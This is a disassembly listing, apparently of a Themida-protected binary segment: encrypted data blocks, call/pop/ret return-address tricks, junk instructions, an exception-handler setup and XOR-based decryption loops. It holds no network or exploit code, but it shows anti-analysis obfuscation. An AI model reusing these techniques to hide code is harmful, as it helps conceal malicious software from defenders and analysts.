		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 56006AC0h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
		dd 1F776120h, 0C0FA0E47h, 1B58D89h, 6AF907FAh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 2AD3C350h, 1AEDBD83h, 0F0307FAh, 4E485h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 0DB79B2C4h, 83926B91h, 0FE7BF8BDh, 840F0007h, 4B5h
		dd 7BF8B5FFh, 0BF6607FEh, 95FFE3B1h, 7FA014Dh, 0ECB58BF8h
		dd 6007FE7Bh, 0D6816651h, 6159BCF9h, 106C7h, 1FB30001h
		dd 0FA8B6696h, 8F0F6050h, 17h, 12E9h, 0C7465000h, 0E46196Dh
		dd 0B5BACD8Bh, 0B1B1752Ah, 61362D35h, 99CB8096h, 13E9h
		dd 0D36FAA00h, 5214C158h, 72D56E0Fh, 0E97480D9h, 0D37024A8h
		dd 7BF8B5FFh, 8B6607FEh, 1D95FFDEh, 0E807FA16h,	13h, 0D7790643h
		dd 302C6DC0h, 0DDB38E20h, 325E0C38h, 8B7FCA4Dh,	0B58B5BDEh
		dd 7FE7BECh, 5E8h, 0B578AB00h, 7E9C460h, 46000000h, 0ABD5B1D1h
		dd 8B5F6B1Fh, 0FA0B0985h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 8390887Ah
		dd 0BD750EA8h, 0B70F1B6Eh, 0C48689F9h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 2E8FC353h, 8166073Dh, 183FBCBh, 0FA2751B5h, 0C1958B07h
		dd 6A07FA27h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 0F71C356h, 81h, 51BD0B00h, 8307FA19h
		dd 6A04C2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 8AA6A0C3h, 2629BD29h, 508907FAh, 8DFA8B20h
		dd 0FE90A385h, 13E807h,	917A0000h, 853A9BF4h, 9920D1A7h
		dd 10AE6B6Dh, 0FCC5AE86h, 12E95138h, 65000000h,	1DFD5BD4h
		dd 0F5C62168h, 8C937BD6h, 24CE0375h, 895B5B0Eh,	0B886h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 0BF3B9A5Ch, 5A7C60BDh, 0BD8B13C3h, 7FA1BC5h
		dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 0E749DBC3h, 0FFB8B4Ah, 0B5FFD9B7h, 7FE7BF8h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 9EC35545h
		dd 0C8A0F6Eh, 0F000000h, 682h, 0CD8D0100h, 8107FA14h, 0B5477CD3h
		dd 0F995FF37h, 6A07FA1Eh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 256EC355h, 0C6F7EBFEh
		dd 0B70F72F3h, 850F96FAh, 17h, 0FE8h, 15F8D900h, 7D75CEE2h
		dd 6CD1BBF5h, 9E26FA9Ch, 505F5F51h, 8996FA8Bh, 0FA131D8Dh
		dd 0F8B5FF07h, 6A07FE7Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0A800C350h,	89C62D85h
		dd 0FF276D9Dh, 0FA076595h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0BFE94597h
		dd 9055079Bh, 1539BD89h, 0BD8307FAh, 7FA1EC5h, 61840F00h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 0B18FC357h, 0C55D590Bh, 29CFF529h
		dd 0FA354595h, 5B515007h, 6A243489h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 3764C350h
		dd 13836943h, 14BD4BA6h, 5699D33h, 0BD8B07FAh, 7FA28CDh
		dd 7BF8B5FFh, 6A07FEh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 8D7261C3h, 0F1B6FA2h, 8D89DBBFh
		dd 7FA2059h, 18F595FFh,	6A07FAh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 5BCC60C3h, 0AC4F7875h
		dd 6670ED65h, 312E781h,	0FFD88B66h, 0FE7BF8B5h,	0FFFB8B07h
		dd 0FA1EB195h, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 8335964Fh, 0FA26F5BDh
		dd 840F0207h, 9Bh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 0E6C35040h, 96D91067h, 13830F60h, 0E9000000h
		dd 0Eh,	7D74C436h, 0FB1A453Eh, 174FE9F5h, 9D33E910h, 7FA0595h
		dd 19858B61h, 6A07FA14h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 74E0C355h, 1B9B4389h
		dd 66214ACDh, 0C69779BFh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 83085CC3h, 24D08260h
		dd 119D2998h, 0C707FA14h, 0FA05B185h, 7, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
		dd 0BD49E1D8h, 8BFFB29Ah, 0FA34B5BDh, 0F2D3E907h, 0F88AFFFFh
		dd 6AC18Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 0E62DA5C3h, 8D70B384h, 0FA150D85h, 53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 0F98DF397h, 0EE7B63FDh, 0BEE38166h, 820F9019h, 9, 3850Fh
		dd 8B660000h, 870F50F8h, 0
		db 90h
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+7FA14EDh]
		mov	[ebp+7FA2B81h],	ebx
		push	0
		push	0
		push	edi
		call	sub_5FAE96
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FAE96	proc near		; CODE XREF: Themida_:005FAE8Ep

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5FAE96	endp

; ---------------------------------------------------------------------------
		pop	es
		mov	edi, [ebp+7FA1A3Dh]
		push	0
		jl	loc_5FAEBA
		add	bx, 80C9h


loc_5FAEBA:				; CODE XREF: Themida_:005FAEAFj
		lea	eax, [ebp+7FF9580h]
		push	0
		push	eax
		call	sub_5FAECB
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FAECB	proc near		; CODE XREF: Themida_:005FAEC3p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5FAECB	endp

; ---------------------------------------------------------------------------
		db 6Dh
; ---------------------------------------------------------------------------
		clc
		leave
		xchg	edx, [ecx-78036581h]
		add	eax, 5
		jg	loc_5FAEF9
		jns	loc_5FAEF9
		mov	edi, [ebp+7FA042Dh]


loc_5FAEF9:				; CODE XREF: Themida_:005FAEE7j
					; Themida_:005FAEEDj
		push	eax
		mov	ebx, 0E5EA59Dh
		mov	[esp], eax
		push	0
		push	edi
		call	sub_5FAF0D
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FAF0D	proc near		; CODE XREF: Themida_:005FAF05p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_5FAF0D	endp

; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		dw 0C721h
		dd 6062E9DEh, 0E9CA8B66h, 13h, 752260E3h, 7EA38339h, 91A30C0Bh
		dd 0D21D2F63h, 6138634Ch, 6ADA8B66h, 50006A00h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 0C9D30E9Eh
		dd 0A8F896D8h, 9D895DADh, 7FA11BDh, 8D0F006Ah, 0Bh, 5800Fh
		dd 81660000h, 0FF8D3FD3h, 0FA174D95h, 0BE907h, 68160000h
		dd 5E6D8AD0h, 0C325C561h, 0DB8D8D44h, 6A07FE7Ah, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 0E60FC355h, 0E91F3816h, 11h,	7FB40654h, 2F0C3787h, 687C2E4Ch
		dd 0B045EC6h, 519D8B42h, 0E907FA28h, 11h, 667D6CA0h, 4713B226h
		dd 115658E2h, 0CD32DEAEh, 60D1FFFBh, 34058589h,	9D8B07FAh
		dd 7FA1A55h, 0ADBD8361h, 107FA27h, 76850Fh, 8D090000h
		dd 7FA1749h, 141FBE60h,	958943A3h, 7FA2105h, 0B3026A61h
		dd 8B665082h, 240489FBh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 19h, 0D7C35343h, 0B5B131F4h, 50CF817Fh, 0FF3D9185h
		dd 0FA1EF995h, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 8DD14A5Dh, 66DD77FFh
		dd 0BD89FE8Bh, 7FA0299h, 0D1AE9h, 0E800h, 815D0000h, 0FF958AEDh
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 0E4570B97h, 365620Bh, 8159D8Bh, 858D07FAh
		dd 7FE4FA2h, 18898D89h,	525007FAh, 702EBF66h, 2404895Fh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0DAC35747h
		dd 0AEDF0297h, 8999E87Ch, 0FA13B99Dh, 35FF6407h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5FB10F
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FB10F	proc near		; CODE XREF: Themida_:005FB107p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_5FB10F	endp

; ---------------------------------------------------------------------------
		lahf
		cmp	dh, [ecx-48F09FB8h]
		xlat
		popa
		mov	large fs:0, esp
		push	0
		push	ebx
		call	sub_5FB13A
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FB13A	proc near		; CODE XREF: Themida_:005FB132p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_5FB13A	endp

; ---------------------------------------------------------------------------
		dw 7BDh
; ---------------------------------------------------------------------------
		pop	ss
		jmp	loc_5FB15E
; ---------------------------------------------------------------------------
		dw 0DD6Eh
		dd 0F706A9C5h, 1D90C27Bh
		db 1Dh,	48h
; ---------------------------------------------------------------------------


loc_5FB15E:				; CODE XREF: Themida_:005FB14Dj
		mov	[ebp+7FA24A5h],	esi
		jp	loc_5FB170
		mov	[ebp+7FA1B19h],	esi


loc_5FB170:				; CODE XREF: Themida_:005FB164j
		inc	dword ptr [ebp+7FA3125h]
		jmp	loc_5FB18A
; ---------------------------------------------------------------------------
		db 20h
		dd 3624B688h, 2CBD5309h, 0E045FCA0h
		db 7, 0C0h
; ---------------------------------------------------------------------------


loc_5FB18A:				; CODE XREF: Themida_:005FB176j
					; Themida_:loc_5FBD5Fj
		push	0FFFFFFFFh
		push	0
		push	esi
		call	sub_5FB197
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FB197	proc near		; CODE XREF: Themida_:005FB18Fp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5FB197	endp

; ---------------------------------------------------------------------------
		db 49h
		dd 0FDB5FFE5h, 0F07FA0Ch, 381h,	0F88B6600h, 18D95FFh, 0FBE907FAh
		dd 29000000h, 0FA03798Dh, 6600B007h, 66FE2EBFh,	0E68CB6BFh
		dd 0B371E470h, 0F613C96h, 0DD83h, 0B5315000h, 7FA3545h
		dd 0C8B60F5Fh, 6E8F8h, 0B4310000h, 731960C0h, 0BA5BF88Bh
		dd 6, 5529BB66h, 3FBBC18Bh, 0C1310437h,	8B0F04E8h, 1Dh
		dd 11E8h, 4F038400h, 271EF01h, 0D749429h, 0B98AB433h, 8A0FE05Bh
		dd 0
; ---------------------------------------------------------------------------
		pop	ebx
		mul	dx
		mov	di, 671Dh
		sub	ecx, eax
		pusha
		and	ebx, [ebp+7FA0C65h]
		popa
		mov	di, bx
		mov	edx, ecx
		mov	ebx, [ebp+7FA141Dh]
		jmp	loc_5FB2BE
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+7FA00D5h]
		mov	eax, [ebp+8]
		mov	bl, 2Bh
		add	eax, 7
		mov	bx, 2985h
		add	eax, 0
		mov	ebx, 76A483A3h
		cmp	edx, eax
		jnb	loc_5FB285
		mov	bh, 1Eh
		jmp	loc_5FB2BE
; ---------------------------------------------------------------------------
		mov	edi, edx
		mov	ebx, 3FDD62Ch


loc_5FB285:				; CODE XREF: Themida_:005FB271j
		mov	ecx, [ebp-1]
		jbe	$+6
		and	ecx, 1
		jz	loc_5FB2BE
		add	[ebp+7FA07A1h],	esi
		and	dword ptr [ebp-1], 0FFFFFFFEh
		mov	[ebp+7FA0175h],	edx
		mov	[ebp+8], edx
		sub	[ebp+7FA17A9h],	edx
		jmp	$+5


loc_5FB2BE:				; CODE XREF: Themida_:005FB24Dj
					; Themida_:005FB279j ...
		lea	esi, [ebp+7FF0A15h]
		push	0
		push	ebp
		call	sub_5FB2CF
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FB2CF	proc near		; CODE XREF: Themida_:005FB2C7p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5FB2CF	endp

; ---------------------------------------------------------------------------
		retn	1644h
; ---------------------------------------------------------------------------
		jle	short $+2
		adc	[edi-7FFF95A6h], dh
		retf
; ---------------------------------------------------------------------------
		das
		call	dword ptr [ebp+7FA012Dh]
		push	0
		push	esi
		call	sub_5FB2FD
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FB2FD	proc near		; CODE XREF: Themida_:005FB2F5p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_5FB2FD	endp

; ---------------------------------------------------------------------------
		aad	0A5h
		inc	ebp
		dec	dword ptr [edi]
		mov	edi, 39BD8BFFh
		pop	ds
		cli
		pop	es
		mov	ecx, 0F06h
		call	near ptr loc_5FB32A+3
		sub	al, 99h
		adc	[edi+10h], ebp
		xchg	eax, ecx


loc_5FB32A:				; CODE XREF: Themida_:005FB31Fp
		xor	dh, [esi-3A7A7692h]
		adc	al, 0FAh
		pop	es
		pop	edi
		and	ecx, 0FFFFFFFCh
		mov	di, dx
		cld
		jnz	loc_5FB344
		movzx	edi, di


loc_5FB344:				; CODE XREF: Themida_:005FB33Bj
		sub	eax, eax
		push	0
		push	edi
		call	sub_5FB351
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FB351	proc near		; CODE XREF: Themida_:005FB349p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5FB351	endp

; ---------------------------------------------------------------------------
		pop	ecx
		mov	edi, esi
		sub	edx, edx
		mov	ebx, eax


loc_5FB368:				; CODE XREF: Themida_:005FB372j
		lodsd
		xor	eax, edx


loc_5FB36B:				; CODE XREF: Themida_:005FB39Dj
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5FB368
		mov	[ebp+7FA0BCDh],	ebx
		mov	ebx, [ebp+7FA1CB5h]
		push	0
		push	esi
		call	sub_5FB38B
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FB38B	proc near		; CODE XREF: Themida_:005FB383p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_5FB38B	endp

; ---------------------------------------------------------------------------
		mov	bl, 62h
		jge	short loc_5FB36B
		or	eax, 88h
		and	ebx, [ebp+7FA31ADh]
		mov	edx, [ebp+7FA27C1h]
		push	0
		push	ebp
		call	sub_5FB3BB
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FB3BB	proc near		; CODE XREF: Themida_:005FB3B3p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_5FB3BB	endp

; ---------------------------------------------------------------------------
		ror	byte ptr [esi],	0DDh
		and	eax, 0FB94FABh
		mov	edi, 18D8BF8h
		sbb	al, 0FAh
		pop	es
		movsx	edi, ax
		push	eax
		mov	eax, edx
		mov	ebx, [eax]
		add	eax, ecx
		mov	ebx, [eax]
		mov	eax, ecx
		shr	eax, 1
		add	eax, edx
		mov	ebx, [eax]
		pop	eax
		push	0
		push	ecx
		call	sub_5FB3FB


loc_5FB3F8:				; CODE XREF: Themida_:005FB466j
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FB3FB	proc near		; CODE XREF: Themida_:005FB3F3p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_5FB3FB	endp

; ---------------------------------------------------------------------------
		aam	0FFh
		mov	ah, 0E6h
		sub	[ebp+7FA2BC1h],	ebx
		mov	[ebp+7FA0429h],	ebx
		cmp	dword ptr [ebp+7FA0741h], 0
		jz	loc_5FB47B
		jmp	loc_5FB440
; ---------------------------------------------------------------------------
		db 3Eh,	60h, 0F7h
		dd 0ABCF2FA5h, 6AE1DB69h, 1CFE9CD0h, 0B79B4FBDh
; ---------------------------------------------------------------------------


loc_5FB440:				; CODE XREF: Themida_:005FB428j
		mov	eax, 0
		push	0
		push	esi
		call	sub_5FB450
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FB450	proc near		; CODE XREF: Themida_:005FB448p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5FB450	endp

; ---------------------------------------------------------------------------
		inc	ebp
		adc	eax, 4B3B962Dh
		jo	short loc_5FB3F8
		lea	ecx, [ebp+7FA4F53h]
		mov	edi, 4234F3DFh
		jmp	ecx
; ---------------------------------------------------------------------------
		mov	[ebp+7FA32E9h],	ebx


loc_5FB47B:				; CODE XREF: Themida_:005FB422j
		cmp	dword ptr [ebp+7FA1AEDh], 0
		jz	loc_5FB89A
		mov	bh, 48h
		add	[ebp+7FA242Dh],	edi
		cmp	dword ptr [ebp+7FA1AEDh], 1
		jz	loc_5FB8B5
		push	0
		push	eax
		call	sub_5FB4A8
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FB4A8	proc near		; CODE XREF: Themida_:005FB4A0p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_5FB4A8	endp

; ---------------------------------------------------------------------------
		adc	al, 76h
		and	[esp+edx*4], eax
		mov	eax, ds:799D8BFCh
		or	al, 0FAh
		pop	es
		cmp	dword ptr [ebp+7FA1AEDh], 3
		jbe	loc_5FB87F
		mov	[ebp+7FA14BDh],	esi
		pusha
		push	0
		push	edi
		call	sub_5FB4E4
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FB4E4	proc near		; CODE XREF: Themida_:005FB4DCp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_5FB4E4	endp

; ---------------------------------------------------------------------------
		fnsave	byte ptr fs:[ebx]
		test	[edi+328341D9h], bh
		mov	cx, ds
		mov	[ebp+7FA1AB9h],	ebx
		and	cl, 4
		push	0
		push	ebx
		call	sub_5FB514
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FB514	proc near		; CODE XREF: Themida_:005FB50Cp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5FB514	endp

; ---------------------------------------------------------------------------
		dd 6F746E6Ch, 0BF0F377Dh, 0FC90AF9h, 11A84h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 0E98BE9A9h, 7, 0B341F020h, 663FF01Eh, 8B439DBFh, 0FA17D585h
		dd 41853307h, 6A07FA1Ah, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 8B3DC353h, 0FA2D2DBDh
		dd 50509007h, 0F5F5052h, 5A40B731h, 0DFB39058h,	880Fh
		dd 6A0000h, 0E850006Ah,	3, 58C35820h, 4244489h,	4244481h
		dd 1Ah,	3AC35040h, 63B42AEAh, 0BF66A260h, 9D8BC5DDh, 7FA0231h
		dd 1046B868h, 8B5250D4h, 0F310FF8h, 487h, 0E5BB6600h, 81585ACBh
		dd 0BD472404h, 0BB662C0Eh, 95FF2F31h, 7FA1785h,	12830Fh
		dd 0E9600000h, 5, 0E3589527h, 418D8B5Ah, 6107FA15h, 7BF88589h
		dd 6A07FEh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 73CD3AC3h, 0F189EEDh, 386h, 0FE8B6600h, 182E9h
		dd 3DBD0B00h, 8B07FA16h, 0FE7BF085h, 53006A07h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 237E8BE1h
		dd 1800C795h, 51000000h, 178A0Fh, 11E80000h, 0B6000000h
		dd 0A02E48D0h, 2444882Eh, 9ACDEB5Ch, 0D97A06A2h, 0B58B5F5Bh
		dd 7FE7BF4h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	21C35646h, 0B806503Dh, 0E1858B21h, 8907FA06h, 0FA2DD185h
		dd 6A068907h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 2380C356h, 361C89B7h, 2D8D8991h
		dd 8B07FA08h, 0FA17D585h, 0F9BF0F07h, 0E8044689h, 10h
		dd 0A51A6700h, 94C4D614h, 0F7836DE1h, 0D50A814Eh, 0C11BD31h
		dd 0F5F07FAh, 58Ah, 0A7BDBF00h,	66963589h, 505A7ABBh, 0D78B6660h
		dd 0E7809661h, 0F0B5FFFCh, 6A07FE7Bh, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 9675C355h
		dd 439B509h, 9D2907FAh,	7FA1699h, 0B93F8668h, 0E947BB29h
		dd 348137EFh, 0A63C7924h, 56006A29h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 0BD03EBEFh
		dd 7FA27A5h, 15CB6FBBh,	0F8858D19h, 5007FE7Bh, 9E9h, 0E6B4FF00h
		dd 0DC26287Dh, 489A39Fh, 0B9B58924h, 0FF07FA25h, 0FA178595h
		dd 0C9958907h, 6107FA24h, 35459D8Bh, 9E807FAh, 0AA000000h
		dd 0CE9DB09Dh, 64FD2DEh, 15890Fh, 0FE80000h, 84000000h
		dd 0E53AFBF1h, 8681B21Ch, 0BB6707CDh, 5F5BF4FBh, 1AED85C7h
		dd 307FAh, 81660000h, 0F08DCF3h, 282h, 837BB300h, 0FE7BF8BDh
		dd 840F0007h, 5Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 0FC35343h, 74E76349h,	0E9F94176h, 52h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0C4C35242h
		dd 11E9h, 1F9CFF00h, 0A7D8B012h, 0F6B21B0Ah, 0BC3BA195h
		dd 8050FECFh
		db 0DBh, 22h, 5Bh
; ---------------------------------------------------------------------------


loc_5FB87F:				; CODE XREF: Themida_:005FB4CCj
					; Themida_:005FB896j
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_5FB87F
		jmp	short loc_5FB8D0
; ---------------------------------------------------------------------------


loc_5FB89A:				; CODE XREF: Themida_:005FB482j
					; Themida_:005FB8B1j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5FB89A
		jmp	short loc_5FB8D0
; ---------------------------------------------------------------------------


loc_5FB8B5:				; CODE XREF: Themida_:005FB497j
					; Themida_:005FB8CCj
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5FB8B5
		jmp	short $+2


loc_5FB8D0:				; CODE XREF: Themida_:005FB898j
					; Themida_:005FB8B3j
		mov	eax, eax
		push	0
		push	ebp
		call	sub_5FB8DD
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FB8DD	proc near		; CODE XREF: Themida_:005FB8D5p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_5FB8DD	endp

; ---------------------------------------------------------------------------
		and	dword ptr [ebx], 12C9BD8Bh
		cli
		pop	es
		push	0
		push	ecx
		call	sub_5FB900
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FB900	proc near		; CODE XREF: Themida_:005FB8F8p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_5FB900	endp

; ---------------------------------------------------------------------------
		mov	word ptr [edx+6Ah], cs
		mov	ecx, [ecx+27F6C4A8h]
		mov	[ebp+7FA0355h],	esi
		cmp	dword ptr [ebp+7FA1AEDh], 3
		jnz	loc_5FBD5F
		sub	[ebp+7FA2599h],	edx
		cmp	dword ptr [ebp+7FE7BF8h], 0
		jz	loc_5FBD5F
		mov	di, 5658h
		push	dword ptr [ebp+7FE7BF8h]
		push	0
		push	edi
		call	sub_5FB954
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FB954	proc near		; CODE XREF: Themida_:005FB94Cp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_5FB954	endp

; ---------------------------------------------------------------------------
		cmp	dl, [edi+38C3B962h]
		mov	ebx, esi
		call	dword ptr [ebp+7FA014Dh]
		push	0
		push	ebp
		call	sub_5FB97D
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FB97D	proc near		; CODE XREF: Themida_:005FB975p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5FB97D	endp

; ---------------------------------------------------------------------------
		db 0F2h, 23h, 0E9h
		dd 7047C17Dh, 958921DCh, 7FA0671h, 7BECB58Bh, 8B0F07FEh
		dd 6, 79FECF81h, 6C7679Eh, 10001h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 54C35343h, 8BB24E16h, 0F969E31h
		dd 1887h, 13E900h, 0C6430000h, 0A2610537h, 8C6E94BBh, 3AF40AC6h
		dd 48F13338h, 9E95039h,	8E000000h, 24B5D41Fh, 0BF90142Fh
		dd 52006A96h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 98287F6Fh, 423EF097h, 0F8B5FFA7h, 8B07FE7Bh
		dd 0FA1BC59Dh, 1D95FF07h, 0E807FA16h, 6, 0EE9D9042h, 958912E9h
		dd 7FA1251h, 0ECB58B5Bh, 5607FE7Bh, 2850Fh, 5F520000h
		dd 9858B5Bh, 6A07FA0Bh,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 0A9CDC357h,	0E4C3855Eh
		dd 5292A877h, 7EF367BBh, 8D895F78h, 7FA2C01h, 0C48689h
		dd 860F0000h, 0Ah, 895B5760h, 0FA247985h, 958B6107h, 7FA27C1h
